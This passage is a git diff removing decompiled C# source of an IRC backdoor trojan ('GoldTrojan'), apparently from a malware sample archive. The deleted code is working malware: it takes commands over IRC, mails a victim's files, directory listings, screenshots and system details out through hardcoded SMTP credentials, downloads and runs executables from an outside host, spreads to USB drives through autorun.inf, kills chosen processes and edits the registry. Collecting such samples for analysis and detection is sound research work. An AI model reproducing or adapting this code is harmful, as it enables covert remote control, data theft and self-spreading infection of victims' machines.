new WebClient().DownloadString("http://krzycho.yoyo.pl/maile.txt").Split(new string[1] - { - "\r\n" - }, StringSplitOptions.None); - int maxValue = 0; - foreach (string str2 in strArray1) - ++maxValue; - int index1 = new Random().Next(1, maxValue); - string[] strArray2 = kom.Split('"'); - string path = !this.kom.Contains(this.mdgm) ? (!this.kom.Contains(this.adbs) ? strArray2[1] : this.folderbs) : this.foldergames; - string[] files = Directory.GetFiles(path); - MailMessage mailMessage = new MailMessage(); - SmtpClient smtpClient = new SmtpClient("smtp.mail.ru", 2525); - smtpClient.UseDefaultCredentials = false; - smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(strArray1[index1], "tester12"); - smtpClient.EnableSsl = false; - smtpClient.Timeout = 6000000; - MailMessage message2 = new MailMessage(); - string addresses = strArray1[0]; - message2.From = new MailAddress(strArray1[index1], this.irc.Nickname, Encoding.UTF8); - message2.To.Add(addresses); - message2.Subject = path + " - " + this.irc.Nickname; - int num2 = 0; - if (files[0] != null) - { - foreach (string str3 in files) - ++num2; - for (int index2 = 0; index2 < num2; ++index2) - message2.Attachments.Add(new Attachment(files[index2])); - } - message2.DeliveryNotificationOptions = DeliveryNotificationOptions.OnFailure; - smtpClient.Send(message2); - this.irc.SendMessage(SendType.Message, destination, message1); - } - catch (Exception ex) - { - this.irc.SendMessage(SendType.Message, destination, str1 + "(" + ex.Message + ")"); - } - Thread.Sleep(2000); - ++num1; - } - while (!this.wyslaniepliku && num1 < 20); - } - - private void mailWyslijPlik() - { - string destination = "#jaknie5"; - string message1 = "wyslano pliki"; - string message2 = "nie wysłano plików"; - string kom = this.kom; - try - { - string[] strArray = kom.Split('"'); - string zalacznik = !this.kom.Contains(this.mdgm) ? (!this.kom.Contains(this.adbs) ? strArray[1] : this.folderbs + strArray[1]) : this.foldergames + strArray[1]; - this.wyslaniepliku = true; - this.mailUpload("plik " + zalacznik, "", zalacznik); - if (this.wyslaniepliku) - this.irc.SendMessage(SendType.Message, destination, message1); - else - this.irc.SendMessage(SendType.Message, destination, message2); - } - catch - { - this.irc.SendMessage(SendType.Message, destination, message2); - } - } - - private void SprawdzFoldery() - { - string destination = "#jaknie5"; - string message1 = "nie wyświetlono plików"; - string kom = this.kom; - try - { - string message2 = string.Join(", ", Directory.GetDirectories(kom.Split('"')[1])); - this.irc.SendMessage(SendType.Message, destination, message2); - } - catch - { - this.irc.SendMessage(SendType.Message, destination, message1); - } - } - - private void mailWyswietlPliki() - { - string destination = "#jaknie5"; - string str = "wyslano drzewo plików na mail"; - string message = "nie wyslano drzewa plików na mail"; - string kom = this.kom; - try - { - string[] strArray = kom.Split('"'); - string tekst = string.Join(Environment.NewLine, Directory.GetFiles(!this.kom.Contains(this.mdgm) ? (!this.kom.Contains(this.adbs) ? strArray[1] : this.folderbs) : this.foldergames)); - this.wyslaniepliku = true; - this.mailUpload("drzewo plików", tekst, ""); - if (this.wyslaniepliku) - this.irc.SendMessage(SendType.Message, destination, str + " o nazwie " + this.irc.Nickname); - else - this.irc.SendMessage(SendType.Message, destination, message); - } - catch - { - this.irc.SendMessage(SendType.Message, destination, message); - } - } - - private void mailWyswietlKatalogi() - { - string destination = "#jaknie5"; - string str = "wyslano drzewo katalogów na mail"; - string message = "nie wyslano drzewa katalogów na mail"; - string kom = this.kom; - try - { - string tekst = string.Join(Environment.NewLine, Directory.GetDirectories(kom.Split('"')[1])); - this.wyslaniepliku = true; - this.mailUpload("drzewo katalogów", tekst, ""); - if (this.wyslaniepliku) - this.irc.SendMessage(SendType.Message, destination, str + " o nazwie " + this.irc.Nickname); - else - this.irc.SendMessage(SendType.Message, destination, message); - } - catch - { - this.irc.SendMessage(SendType.Message, destination, message); - } - } - - private void mailWyswietlDrzewo() - { - string destination = "#jaknie5"; - string str = "wyslano drzewo plików i katalogów na mail"; - string message = "nie wyslano drzewa plików i katalogów na mail"; - string kom = this.kom; - try - { - string[] strArray = kom.Split('"'); - string tekst = string.Join(Environment.NewLine, Directory.GetFiles(!this.kom.Contains(this.mdgm) ? (!this.kom.Contains(this.adbs) ? strArray[1] : this.folderbs) : this.foldergames, "*.*", SearchOption.AllDirectories)); - this.wyslaniepliku = true; - this.mailUpload("drzewo", tekst, ""); - if (this.wyslaniepliku) - this.irc.SendMessage(SendType.Message, destination, str + " o nazwie " + this.irc.Nickname); - else - this.irc.SendMessage(SendType.Message, destination, message); - } - catch - { - this.irc.SendMessage(SendType.Message, destination, message); - } - } - - private void mailZrobSS() - { - try - { - this.UtworzFolder(); - DateTime now = DateTime.Now; - int hour = now.Hour; - int minute = now.Minute; - int second = now.Second; - string str1 = Environment.UserName + (Convert.ToString(hour) + Convert.ToString(minute) + Convert.ToString(second)) + ".jpeg"; - string str2 = this.folderbs + "\\" + str1; - Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, PixelFormat.Format32bppArgb); - Graphics.FromImage((Image) bitmap).CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, Screen.PrimaryScreen.Bounds.Size, CopyPixelOperation.SourceCopy); - bitmap.Save(str2, ImageFormat.Jpeg); - this.wyslaniepliku = true; - this.mailUpload("zrzut ekranu", "", str2); - if (this.wyslaniepliku) - this.irc.SendMessage(SendType.Message, "#jaknie5", "zrobiono zrzut ekranu o nazwie " + str1); - else - this.irc.SendMessage(SendType.Message, "#jaknie5", "nie zrobiono zrzutu ekranu"); - } - catch - { - this.irc.SendMessage(SendType.Message, "#jaknie5", "nie zrobiono zrzutu ekranu"); - } - } - - private void Logi() - { - try - { - this.mailUpload("logi", this.wiad, ""); - this.wiad = ""; - this.irc.SendMessage(SendType.Message, "#jaknie5", "logi zostały wysłane na maila"); - } - catch - { - this.irc.SendMessage(SendType.Message, "#jaknie5", "logni nie zostały wysłane na maila"); - } - } - - private bool SprawdzCzyOP() - { - this._channel = this.irc.GetChannel("#jaknie5"); - foreach (DictionaryEntry user in this._channel.Users) - { - ChannelUser channelUser = (ChannelUser) user.Value; - if (this.irc.IsMe(channelUser.Nick)) - return channelUser.IsOp; - } - return false; - } - - private int LiczOpow() - { - int num = 0; - this.lu = 0; - try - { - this._channel = this.irc.GetChannel("#jaknie5"); - foreach (DictionaryEntry user in this._channel.Users) - { - ChannelUser channelUser = (ChannelUser) user.Value; - if (channelUser.IsOp) - ++num; - ++this.lu; - this.lcu[this.lu] = channelUser.Nick; - } - } - catch - { - } - return num; - } - - private void OPZarzadzaj() - { - if (this.LiczOpow() >= 2 || !this.SprawdzCzyOP()) - return; - int index = new Random().Next(1, this.lu); - try - { - this.irc.Op("#jaknie5", this.lcu[index]); - this.irc.SendMessage(SendType.Message, "#jaknie5", "dalem OPa " + this.lcu[index]); - this.Logi(); - } - catch - { - this.irc.SendMessage(SendType.Message, "#jaknie5", "logi nie zostały wysłane na maila"); - } - } - - private bool SprCzyOP(string nick) - { - this._channel = this.irc.GetChannel("#jaknie5"); - foreach (DictionaryEntry user in this._channel.Users) - { - ChannelUser channelUser = (ChannelUser) user.Value; - if (nick == channelUser.Nick) - return channelUser.IsOp; - } - return false; - } - - private bool SprCzyVoice(string nick) - { - this._channel = this.irc.GetChannel("#jaknie5"); - foreach (DictionaryEntry user in this._channel.Users) - { - ChannelUser channelUser = (ChannelUser) user.Value; - if (nick == channelUser.Nick) - return channelUser.IsVoice; - } - return false; - } - - private void Aktualizuj() - { - try - { - string str = new WebClient().DownloadString("http://krzycho.yoyo.pl/wersja.txt"); - string destFolder = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\"; - if (str != this.wer) - { - this.irc.SendMessage(SendType.Message, "#jaknie5", "aktualizacja jest dostepna"); - FileDownloader fileDownloader = new FileDownloader(); - System.IO.File.Delete(destFolder + "asd.exe"); - fileDownloader.Download("http://krzycho.yoyo.pl/asd.exe", destFolder); - this.OtworzPlik(destFolder + "asd.exe"); - this.irc.SendMessage(SendType.Message, "#jaknie5", "zainstalowano aktualizacje"); - } - if (!(str == this.wer)) - return; - this.irc.SendMessage(SendType.Message, "#jaknie5", "brak dostępnych aktualizacji"); - } - catch - { - this.irc.SendMessage(SendType.Message, "#jaknie5", "instalowanie aktualizacji nie powiodlo sie"); - } - } - - private void NowyDysk(object sender, DriveDetectorEventArgs e) => this.PobierzNaDysk(e.Drive); - - private void PobierzNaDysk(string dysk) - { - FileDownloader fileDownloader = new FileDownloader(); - string url1 = "http://krzycho.yoyo.pl/asd.exe"; - string url2 = "http://krzycho.yoyo.pl/autorun.inf"; - try - { - if (System.IO.File.Exists(dysk + "\\gt2011asd.rx8")) - { - string[] files = Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\BlueSoft", "*.log", SearchOption.AllDirectories); - string.Join(", ", files); - int num1 = 0; - if (files != null) - { - int num2 = new Random().Next(0, 10000); - string path = dysk + "\\" + Environment.UserName + num2.ToString(); - Directory.CreateDirectory(path); - foreach (string str in files) - ++num1; - for (int index = 0; index < num1; ++index) - System.IO.File.Copy(files[index], path + "\\" + Path.GetFileName(files[index])); - } - int num3 = 0; - if (files == null) - return; - foreach (string str in files) - ++num3; - for (int index = 0; index < num3; ++index) - { - try - { - System.IO.File.Delete(files[index]); - } - catch - { - } - } - } - else if (System.IO.File.Exists(dysk + "\\911gt2011.asd")) - { - if (System.IO.File.ReadAllText(dysk + "\\911gt2011.asd") == null) - return; - foreach (string readAllLine in System.IO.File.ReadAllLines(dysk + "\\911gt2011.asd")) - { - this.kom = readAllLine; - this.Polecenia(); - } - } - else - { - if (!this.PendriveRejestr()) - return; - try - { - this.UsunPlikZDysku(dysk + "\\autorun.inf"); - } - catch - { - } - try - { - fileDownloader.Download(url1, dysk); - fileDownloader.Download(url2, dysk); - this.mailUpload("Infekcja", "Zainfekowany pendrive", ""); - } - catch - { - } - try - { - string sourceFileName = dysk + "asd.exe"; - string str = dysk + "autorun.inf"; - try - { - System.IO.File.Move(sourceFileName, dysk + "Nie uruchamiaj tego.exe"); - } - catch - { - } - } - catch - { - } - } - } - catch - { - } - } - - private void UsunPlikZDysku(string sciezka) - { - try - { - System.IO.File.Delete(sciezka); - } - catch - { - } - } - - private void AktualizujAuto() - { - try - { - string str = new WebClient().DownloadString("http://krzycho.yoyo.pl/wersja.txt"); - string destFolder = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\"; - if (!(str != this.wer)) - return; - FileDownloader fileDownloader = new FileDownloader(); - System.IO.File.Delete(destFolder + "asd.exe"); - fileDownloader.Download("http://krzycho.yoyo.pl/asd.exe", destFolder); - this.OtworzPlik(destFolder + "asd.exe"); - } - catch - { - } - } - - private void ZbierzDane() - { - try - { - Environment.GetLogicalDrives(); - string str1 = " "; - string environmentVariable = Environment.GetEnvironmentVariable("windir"); - string userName = Environment.UserName; - string str2 = Convert.ToString((object) Environment.OSVersion); - string machineName = Environment.MachineName; - string systemDirectory = Environment.SystemDirectory; - string userDomainName = Environment.UserDomainName; - string str3 = Convert.ToString((object) Environment.Version); - string str4 = Convert.ToString(Environment.ProcessorCount); - string[] logicalDrives = Environment.GetLogicalDrives(); - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.Personal); - foreach (IPAddress address in Dns.GetHostEntry(Dns.GetHostName()).AddressList) - str1 = str1 + address.ToString() + " "; - string str5 = this.PobierzSerialDysku("C"); - string str6 = "System " + str2; - string str7 = "Znajduje sie w " + environmentVariable; - string str8 = "Folder system32 jest w " + systemDirectory; - string str9 = "Wersja systemu " + str3; - string str10 = "Nazwa maszyny " + machineName; - string str11 = "Domena " + userDomainName; - string str12 = "Nazwa uzytkownika " + userName; - string str13 = "Liczba procesorow " + str4; - string str14 = "Dyski: " + string.Join(", ", logicalDrives); - string str15 = "Adres IP " + str1; - string str16 = "Sciezka do moich dokumentow " + folderPath; - string str17 = "Numer seryjny woluminu " + str5; - WebClient webClient = new WebClient(); - string str18 = webClient.DownloadString("http://poprostuchlopie.yoyo.pl/bazadn.txt"); - string str19 = str17; - string str20 = str6 + Environment.NewLine + str7 + Environment.NewLine + str8 + Environment.NewLine + str9 + Environment.NewLine + str10 + Environment.NewLine + str11 + Environment.NewLine + str13 + Environment.NewLine + str12 + Environment.NewLine + str14 + Environment.NewLine + str16 + Environment.NewLine + str15 + Environment.NewLine + str17 + Environment.NewLine + Environment.NewLine; - if (str18.Contains(str19)) - return; - try - { - if (webClient.DownloadString("http://poprostuchlopie.yoyo.pl/bazadn2.txt").Contains(str19)) - return; - this.UsunPlikZDysku(this.folderbs + "\\bazadn2.txt"); - new FileDownloader().Download("http://poprostuchlopie.yoyo.pl/bazadn2.txt", this.folderbs); - string str21 = this.folderbs + "\\bazadn2.txt"; - StreamWriter streamWriter = new StreamWriter(str21, true); - streamWriter.WriteLine(str20); - streamWriter.Close(); - this.Upload(str21); - } - catch - { - this.UsunPlikZDysku(this.folderbs + "\\bazadn2.txt"); - string str22 = this.folderbs + "\\bazadn2.txt"; - StreamWriter streamWriter = new StreamWriter(str22, true); - streamWriter.WriteLine(str20); - streamWriter.Close(); - this.Upload(str22); - } - } - catch - { - } - } - - private void Czyszczenie() - { - try - { - string[] files = Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\BlueSoft", "*.jpeg", SearchOption.AllDirectories); - int num = 0; - if (files[0] != null) - { - foreach (string str in files) - ++num; - for (int index = 0; index < num; ++index) - { - try - { - System.IO.File.Delete(files[index]); - } - catch - { - } - } - } - } - catch - { - this.irc.SendMessage(SendType.Message, "#jaknie5", "nie wyczyszczono dysku"); - } - this.ZnajdzIUsun(); - } - - private void ZnajdzIUsun() - { - try - { - string[] strArray1 = new string[20] - { - Environment.SystemDirectory + "\\Setup\\svchost.exe", - Environment.GetEnvironmentVariable("windir") + "\\svchost.exe", - Environment.GetEnvironmentVariable("windir") + "\\twin_32\\svchost.exe", - "C:\\svchost.exe", - "D:\\svchost.exe", - Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData) + "\\svchost.exe", - Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\svchost.exe", - Environment.GetFolderPath(Environment.SpecialFolder.CommonProgramFiles) + "\\svchost.exe", - Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\svchost.exe", - Environment.GetFolderPath(Environment.SpecialFolder.Programs) + "\\svchost.exe", - Environment.GetFolderPath(Environment.SpecialFolder.Recent) + "\\svchost.exe", - Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\\svchost.exe", - "E:\\svchost.exe", - Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\svchost.exe", - Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\BlueSoft\\svchost.exe", - Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\gammess\\svchost.exe", - Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\svchost.exe", - null, - null, - null - }; - for (int index = 0; index < 16; ++index) - { - try - { - if (System.IO.File.Exists(strArray1[index])) - { - if (new FileInfo(strArray1[index]).Attributes != FileAttributes.ReadOnly) - System.IO.File.Delete(strArray1[index]); - } - } - catch - { - } - } - string[] strArray2 = new string[20] - { - Environment.SystemDirectory + "\\Setup\\jucheed.exe", - Environment.GetEnvironmentVariable("windir") + "\\jucheed.exe", - Environment.GetEnvironmentVariable("windir") + "\\twin_32\\jucheed.exe", - "C:\\jucheed.exe", - "D:\\jucheed.exe", - Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData) + "\\jucheed.exe", - Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\jucheed.exe", - Environment.GetFolderPath(Environment.SpecialFolder.CommonProgramFiles) + "\\jucheed.exe", - Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\jucheed.exe", - Environment.GetFolderPath(Environment.SpecialFolder.Programs) + "\\jucheed.exe", - Environment.GetFolderPath(Environment.SpecialFolder.Recent) + "\\jucheed.exe", - Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\\jucheed.exe", - "E:\\jucheed.exe", - Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\jucheed.exe", - Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\BlueSoft\\jucheed.exe", - Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\gammess\\jucheed.exe", - Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\jucheed.exe", - null, - null, - null - }; - for (int index = 0; index < 16; ++index) - { - try - { - if (System.IO.File.Exists(strArray2[index])) - { - if (new FileInfo(strArray2[index]).Attributes != FileAttributes.ReadOnly) - System.IO.File.Delete(strArray2[index]); - } - } - catch - { - } - } - this.irc.SendMessage(SendType.Message, "#jaknie5", "wyczyszczono dysk"); - } - catch - { - this.irc.SendMessage(SendType.Message, "#jaknie5", "nie wyczyszczono dysku"); - } - } - - private string PobierzSerialDysku(string drive) - { - if (drive == "" || drive == null) - drive = "C"; - ManagementObject managementObject = new ManagementObject("win32_logicaldisk.deviceid=\"" + drive + ":\""); - managementObject.Get(); - return managementObject["VolumeSerialNumber"].ToString(); - } - - private void ZmienTapete() - { - try - { - string[] strArray1 = new string[10]; - string[] strArray2 = this.kom.Split(' '); - string url = strArray2[3]; - string styl; - try - { - styl = strArray2[4]; - } - catch - { - styl = "Centered"; - } - if (styl != "rozciagnij" && styl != "normalnie" && styl != "sasiadujaco") - styl = "normalnie"; - this.PobierzTapete(url, styl); - } - catch (Exception ex) - { - this.irc.SendMessage(SendType.Message, "#jaknie5", "nie zmieniono tapety (" + ex.Message + ")"); - } - } - - private bool SprawdzBlokady() - { - Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Bluesoft"); - return !(Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\BlueSoft", "blok", (object) "false").ToString() != "true"); - } - - private void Blokuj(object sender, ElapsedEventArgs e) - { - try - { - string str1 = Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\BlueSoft", "programy", (object) "false").ToString(); - if (!(str1 != "")) - return; - string[] strArray = str1.Split(','); - foreach (Process process in Process.GetProcesses()) - { - foreach (string str2 in strArray) - { - if (process.ProcessName == str2) - process.Kill(); - } - } - } - catch - { - } - } - - private void Blokowanie() - { - string[] strArray1 = this.kom.Split('"'); - if (this.kom.Contains("wlacz")) - { - try - { - Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\BlueSoft", "blok", (object) "true"); - this.irc.SendMessage(SendType.Message, "#jaknie5", "włączono blokowanie programów"); - } - catch - { - this.irc.SendMessage(SendType.Message, "#jaknie5", "nie włączono blokowania programów"); - } - } - else if (this.kom.Contains("wylacz")) - { - try - { - Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\BlueSoft", "blok", (object) "false"); - this.irc.SendMessage(SendType.Message, "#jaknie5", "wyłączono blokowanie programów"); - } - catch - { - this.irc.SendMessage(SendType.Message, "#jaknie5", "nie wyłączono blokowania programów"); - } - } - else if (this.kom.Contains("dodaj")) - { - try - { - string str = strArray1[1]; - Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\BlueSoft", "programy", (object) (Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\BlueSoft").GetValue("programy", (object) "").ToString() + str)); - this.irc.SendMessage(SendType.Message, "#jaknie5", "dodano program do listy blokowanych"); - } - catch - { - this.irc.SendMessage(SendType.Message, "#jaknie5", "nie dodano programu do listy blokowanych"); - } - } - else if (this.kom.Contains("usun")) - { - try - { - string str1 = strArray1[1]; - string[] strArray2 = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\BlueSoft").GetValue("programy", (object) "").ToString().Split(','); - int index = 0; - foreach (string str2 in strArray2) - { - if (str2 == str1) - strArray2[index] = ""; - ++index; - } - Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\BlueSoft", "programy", (object) string.Join(",", strArray2)); - this.irc.SendMessage(SendType.Message, "#jaknie5", "usunieto program z listy blokowanych"); - } - catch - { - this.irc.SendMessage(SendType.Message, "#jaknie5", "nie usunieto programu z listy blokowanych"); - } - } - else if (this.kom.Contains("wyczysc")) - { - try - { - Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\BlueSoft", "programy", (object) ""); - this.irc.SendMessage(SendType.Message, "#jaknie5", "wyczyszczono liste blokowanych programow"); - } - catch - { - this.irc.SendMessage(SendType.Message, "#jaknie5", "nie wyczyszczono listy blokowanych programów"); - } - } - else - { - try - { - this.irc.SendMessage(SendType.Message, "#jaknie5", "Bledne polecenie"); - this.irc.SendMessage(SendType.Message, "#jaknie5", "-blokuj wlacz, -blokuj wylacz, -blokuj wyczysc"); - this.irc.SendMessage(SendType.Message, "#jaknie5", "-blokuj dodaj [nazwa procesu], -blokuj usun [nazwa procesu]"); - } - catch - { - } - } - this.stt.Interval = 300.0; - this.stt.Elapsed += new ElapsedEventHandler(this.Blokuj); - if (this.SprawdzBlokady()) - this.stt.Enabled = true; - else - this.stt.Enabled = false; - } - - private bool PendriveRejestr() - { - Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Bluesoft"); - return Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\BlueSoft", "knp", (object) "true").ToString() != "false"; - } - - private void InfekujPendrive() - { - if (this.kom.Contains("wlacz")) - { - try - { - Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\BlueSoft", "knp", (object) "true"); - this.irc.SendMessage(SendType.Message, "#jaknie5", "włączono infekowanie pendrivów"); - } - catch - { - this.irc.SendMessage(SendType.Message, "#jaknie5", "nie włączono infekowania pendrivów"); - } - } - else if (this.kom.Contains("wylacz")) - { - try - { - Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\BlueSoft", "knp", (object) "false"); - this.irc.SendMessage(SendType.Message, "#jaknie5", "wyłączono infekowanie pendrivów"); - } - catch - { - this.irc.SendMessage(SendType.Message, "#jaknie5", "nie wyłączono infekowania pendrivów"); - } - } - else - { - try - { - this.irc.SendMessage(SendType.Message, "#jaknie5", "Bledne polecenie"); - this.irc.SendMessage(SendType.Message, "#jaknie5", "-infekuj wlacz, -infekuj wylacz"); - } - catch - { - } - } - } - - private void UstawieniaRejestru() - { - RegistryKey subKey = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\BlueSoft"); - string str1 = subKey.GetValue("knp", (object) "false").ToString(); - string str2 = subKey.GetValue("blok", (object) "false").ToString(); - string str3 = subKey.GetValue("programy", (object) "").ToString(); - string str4 = !(str1 != "true") ? "Infekowanie pendrivów jest włączone" : "Infekowanie pendrivów jest wyłączone"; - string str5 = !(str2 != "true") ? "Blokowanie programów jest włączone" : "Blokowanie programów jest wyłączone"; - string str6 = !(str3 != "") ? "Nie są blokowane żadne programy" : "Blokowane programy: " + str3; - string destination = "#jaknie5"; - string message1 = str4; - string message2 = str5; - string message3 = str6; - this.irc.SendMessage(SendType.Message, destination, message1); - this.irc.SendMessage(SendType.Message, destination, message2); - this.irc.SendMessage(SendType.Message, destination, message3); - } - - private string RejestrOdczyt(string klucz, string NazwaWartosci) - { - try - { - return Registry.GetValue(klucz, NazwaWartosci, (object) "brak wpisu").ToString(); - } - catch (Exception ex) - { - return "brak wpisu (" + ex.Message + ")"; - } - } - - private void Rejestr() - { - string destination = "#jaknie5"; - if (this.kom.Contains("odczyt")) - { - string message; - try - { - string[] strArray = this.kom.Split('"'); - message = this.RejestrOdczyt(strArray[1], strArray[3]); - } - catch (Exception ex) - { - message = "Nie mozna odczytac wartosci (" + ex.Message + ")"; - } - this.irc.SendMessage(SendType.Message, destination, message); - } - else if (this.kom.Contains("dodaj")) - { - string message; - try - { - string[] strArray = this.kom.Split('"'); - message = !this.RejestrDodaj(strArray[1], strArray[3], strArray[5]) ? "Nie dodano wartosci do rejestru" : "Dodano wartosc do rejestru"; - } - catch (Exception ex) - { - message = "Nie dodano wartosci do rejestru (" + ex.Message + ")"; - } - this.irc.SendMessage(SendType.Message, destination, message); - } - else - { - try - { - this.irc.SendMessage(SendType.Message, destination, "Niepoprawne polecenie"); - this.irc.SendMessage(SendType.Message, destination, "-rejestr odczyt [klucz] [nazwa wartosci]"); - this.irc.SendMessage(SendType.Message, destination, "-rejestr dodaj [klucz] [nazwa wartosci] [wartosc]"); - } - catch - { - } - } - } - - private bool RejestrDodaj(string klucz, string nazwaWartosci, string wartosc) - { - try - { - Registry.SetValue(klucz, nazwaWartosci, (object) wartosc); - return true; - } - catch - { - return false; - } - } - - [DllImport("user32.dll", CharSet = CharSet.Auto)] - private static extern int SystemParametersInfo( - int uAction, - int uParam, - string lpvParam, - int fuWinIni); - - public static void Set(Uri uri, Form1.Style style) - { - Image image = Image.FromStream(new WebClient().OpenRead(uri.ToString())); - string str = Path.Combine(Path.GetTempPath(), "wallpaper.bmp"); - image.Save(str, ImageFormat.Bmp); - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Control Panel\\Desktop", true); - if (style == Form1.Style.rozciagnij) - { - registryKey.SetValue("WallpaperStyle", (object) 2.ToString()); - registryKey.SetValue("TileWallpaper", (object) 0.ToString()); - } - if (style == Form1.Style.normalnie) - { - registryKey.SetValue("WallpaperStyle", (object) 1.ToString()); - registryKey.SetValue("TileWallpaper", (object) 0.ToString()); - } - if (style == Form1.Style.sasiadujaco) - { - registryKey.SetValue("WallpaperStyle", (object) 1.ToString()); - registryKey.SetValue("TileWallpaper", (object) 1.ToString()); - } - Form1.SystemParametersInfo(20, 0, str, 3); - } - - private void PobierzTapete(string url, string styl) - { - FileDownloader fileDownloader = new FileDownloader(); - string destination = "#jaknie5"; - try - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); - fileDownloader.Download(url, folderPath); - string[] strArray = url.Split('/'); - string str1 = ""; - foreach (string str2 in strArray) - str1 = str2; - Form1.Set(new Uri(folderPath + "\\" + str1), (Form1.Style) System.Enum.Parse(typeof (Form1.Style), styl, false)); - string message = "Tapeta została zmieniona"; - this.irc.SendMessage(SendType.Message, destination, message); - } - catch (Exception ex) - { - string message = "Tapeta nie została zmieniona (" + ex.Message + ")"; - this.irc.SendMessage(SendType.Message, destination, message); - } - } - - protected override void Dispose(bool disposing) - { - if (disposing && this.components != null) - this.components.Dispose(); - base.Dispose(disposing); - } - - private void InitializeComponent() - { - this.SuspendLayout(); - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.ClientSize = new Size(115, 0); - this.Location = new Point(99999, 99999); - this.Name = nameof (Form1); - this.StartPosition = FormStartPosition.Manual; - this.Text = nameof (Form1); - this.ResumeLayout(false); - } - - private delegate void ircListener(); - - public enum Style - { - sasiadujaco, - normalnie, - rozciagnij, - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Form1.resx b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Form1.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Form1.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Program.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Program.cs deleted file mode 100644 index 2e3269e8..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Program.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: GoldTrojan.Program -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System; -using System.Windows.Forms; - -namespace GoldTrojan -{ - internal static class Program - { - [STAThread] - private static void Main() - { - Application.EnableVisualStyles(); - Application.SetCompatibleTextRenderingDefault(false); - Application.Run((Form) new Form1()); - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Properties/Resources.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/GoldTrojan/Properties/Resources.cs deleted file mode 100644 index 5f210413..00000000 --- 